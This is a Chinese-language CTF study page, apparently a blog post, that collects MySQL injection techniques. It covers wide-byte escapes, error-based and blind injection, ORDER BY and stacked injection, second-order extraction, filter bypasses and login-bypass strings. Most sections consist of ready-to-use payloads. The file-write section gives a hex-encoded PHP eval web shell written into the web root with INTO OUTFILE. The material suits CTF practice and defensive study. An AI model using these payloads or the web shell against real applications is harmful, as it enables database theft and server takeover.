一、宽字节注入

  • 原理:GBK编码、URL转码

    利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)

    例如:' -> ' -> %5C%27

    %df' -> %df' -> %df%5C%27

  • sql字符集特性

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。

可以看到大写O和Ö是相等的

  • SQL注入常用URL编码

    空格 %20

    ' %27

    # %23

    \ %5C

  • php-addslashes函数:在特殊字符前加上反斜线\来转义

  • 如何从addslashes函数逃逸?

    • \前面再加一个\,变成\\',这样\就被转义了
    • 把\弄没
  • 表名或列名可以使用16进制转码来实现

    例如:ctf -> 0x637466

    sqlmap中加参数--hex

二、基于约束的注入

  • 原理:超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据
  • 例如:注册admin + 很多空格 + 1,成功以admin身份登录

三、报错注入

  • 公式

        and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
    
        or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位
    
        and extractvalue(1,concat(0x7e,(select database())))
    
        and exp(~(select * from (select user())a));
    
        and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)

四、时间盲注

  • 原理:能够截取字符串,同时触发延时即可

    SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))

    SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

  • 相关函数

    • 延时方法

      • SLEEP(duration)

      • BENCHMARK(count,expr)



        例如select benchmark(10000000,sha(1))

      • 笛卡尔积

        例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;

        ps:COUNT(*)计算行数

      • GET_LOCK(str,timeout)

        需要开启两个会话才能生效

      • RLIKE

        通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

        例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b

    • 条件

      • IF(expr1,expr2,expr3)

      • CASE WHEN [condition] when [result]

    • 字符串截取

      • SUBSTR(SUBSTRING)

        substr同substring,有多种参数选择

        SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

      • MID(str,pos,len)同SUBSTRING(str,pos,len)

      • SUBSTRING_INDEX(str,delim,count)

      • LEFT(str,len)

    • 字符串转换

      • ASCII()
      • ORD()
      • CHR()

五、bool盲注

  • 原理:利用回显的消息不同,判断输入表达式是否正确
  • 常用函数

    基本同时间盲注

六、order by的注入

使用ORDER BY子句对查询结果按一列或多列排序。

ORDER BY子句的语法格式为:

ORDER BY {column_name [ASC|DESC]}[,...n]

  • ORDER BY语句默认按照升序对记录进行排序
  • 在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
  • 当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
  • 根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
  • ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如

    select * from xxx order by id|(sleep(5))
  • ORDER BY在括号中时后面可以跟UNION,例如

    (select 1,2,3 order by 3 asc)union(select 2,3,4)

六、INSERT、UPDATE、DELETE相关的注入

  • INSERT

    例如:insert into users (id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0), 'password')

  • UPDATE

    例如:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2

  • delete

    例如:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)

七、堆叠注入

PDO场景下的SQL注入探究

  • 原理:利用;结束语句并插入自己的sql语句
  • 适用:
    • Mysql、SqlServer、Postgresql(Oracle不行)
    • 只有当调用数据库函数支持执行多条sql语句时才能够使用,例如mysqli_multi_query()函数就支持多条sql语句同时执行
    • PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
  • 例子

    利用存储过程绕过select过滤
    http://web16.buuoj.cn/?      inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
    使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
    去掉URL编码后
    ?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

八、二次注入

用这样的payload将数据带出来

0'^(select hex(hex(substr((select * from flag) from {i} for 1))))^'0

两次hex是为了将第一次hex中的字母变成数字,substr是因为如果hex的值太大,sql会变成科学计数法,丢失精度

九、文件读写

select @@secure_file_priv

secure_file_priv

  • 1、限制mysqld 不允许导入 | 导出

    --secure_file_prive=null
  • 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

    --secure_file_priv=/tmp/
  • 3、不对mysqld 的导入 | 导出做限制

    --secure_file_priv=

load_file读文件

写文件

select 0x3C3F706870206576616C28245F524551554553545B2761275D293B203F3E into outfile '/var/www/html/1.php'
# <?php eval($_REQUEST['a']); ?>

十、常用绕过

SQL注入绕过技巧

  • 空格

    • /**/
  • =
    • like
    • regexp
    • !(<>)
  • '
    • 转义符\
    • 16进制(例如:ctf -> 0x637466)
    • union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23
    • substr from for
    • if->case when

其它重要绕过参考:SQL注入有趣姿势总结

Sql注入笔记

SQL注入之骚姿势小记

sql注入总结(一)--2018自我整理

十一、万能密码

select * from admin where username = '' and password = ''

username password
admin'#
'+' '+'
aaa'=' aaa'='
1\ '^'1
'%1#
'=0#

CTF SQL注入的更多相关文章

  1. 一次简单的ctf SQL注入绕过

    注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...

  2. CTF SQL注入知识点

    理解常用的登录判断 select * from user where username='admin' and password='123' 数据库元信息 infomation_schema 懂PHP ...

  3. CTF比赛中SQL注入的一些经验总结

    ctf中sql注入下的一些小技巧 最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半都得看题解,就特此做了一个paper方便总结 注释符 以下是Mysql中可以用到的单行注释符: ...

  4. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  5. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  6. CTF—WEB—sql注入之无过滤有回显最简单注入

    sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...

  7. “百度杯”CTF比赛 十月场-Getflag(md5碰撞+sql注入+网站绝对路径)

    进去md5碰撞,贴一下脚本代码 import hashlib def md5(value): return hashlib.md5(str(value).encode("utf-8" ...

  8. sql注入、csrf

    ◎sql注入产生的原因?又如何防御sql注入? SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用 ...

  9. sql注入总结(一)--2018自我整理

    SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可能不会写出来~ 所有sql语句均是mysql数据库的,其他数据库可能有些函数不同,但是方法大致相同 0x00 SQL注入原理: ...

随机推荐

  1. 两个数组的交集 II

    题纲 给定两个数组,编写一个函数来计算它们的交集. 示例 : 输入: nums1 = [4,9,5], nums2 = [9,4,9,8,4] 输出: [4,9] 说明: 输出结果中每个元素出现的次数 ...

  2. I2C总线

    PHILIPS公司开发的两线式串行总线 GPIO模拟i2c驱动中有自己的一套传输算法.GPIO模拟I2C是要占用CPU资源的,而用I2C芯片是不占CPU资源的 特点 接口线少,控制方式简单,器件封装形 ...

  3. OpenGL ES教程系列(经典合集)

    为了搞透播放器的开发,花了些时间收集这些资料,虽然我已经搞定opengles渲染视频的内容,但是想玩玩opengles,往深里玩,图像处理这块是个好的方向,所以opengles是值得好好学的.   O ...

  4. Eclipse不支持tomcat8_compiler编译级别选不到1.8

    -------------------------------------------------------------- Eclipse不支持tomcat8 如果你要使用tomcat8.0+版本的 ...

  5. scrapy xpath去除空格

    content = response.xpath("normalize-space('//img/@src')")

  6. Flask入门很轻松 (二)

    转载请在文章开头附上原文链接地址:https://www.cnblogs.com/Sunzz/p/10959454.html 请求钩子 在客户端和服务器交互的过程中,有些准备工作或扫尾工作需要处理,比 ...

  7. 【HCIA Gauss】学习汇总-数据库管理(事务 权限 审计 OBDC JDBC)-6

    事务控制事务提交 commit事务回滚 rollback savepoint 用于事务设置保存点 ----> savepoint s1 / savepoint s2 rollback to sa ...

  8. 191017 虚拟机centos修改IP

    1. 虚拟机设置 1.1 编辑-->虚拟机网络编辑器-->VMnet8-->更改设置-->DHCP设置取消打勾 -->选择NAT模式,查看网关IP 2. 本地网络设置 更 ...

  9. 一套不错的docker lnmp

    github地址:https://github.com/yeszao/dnmp 镜像基于linux alpine 内存占用小 安装常用软件采用apk命令

  10. Python常用标准库函数

    math库: >>> import math >>> dir(math) ['__doc__', '__loader__', '__name__', '__pack ...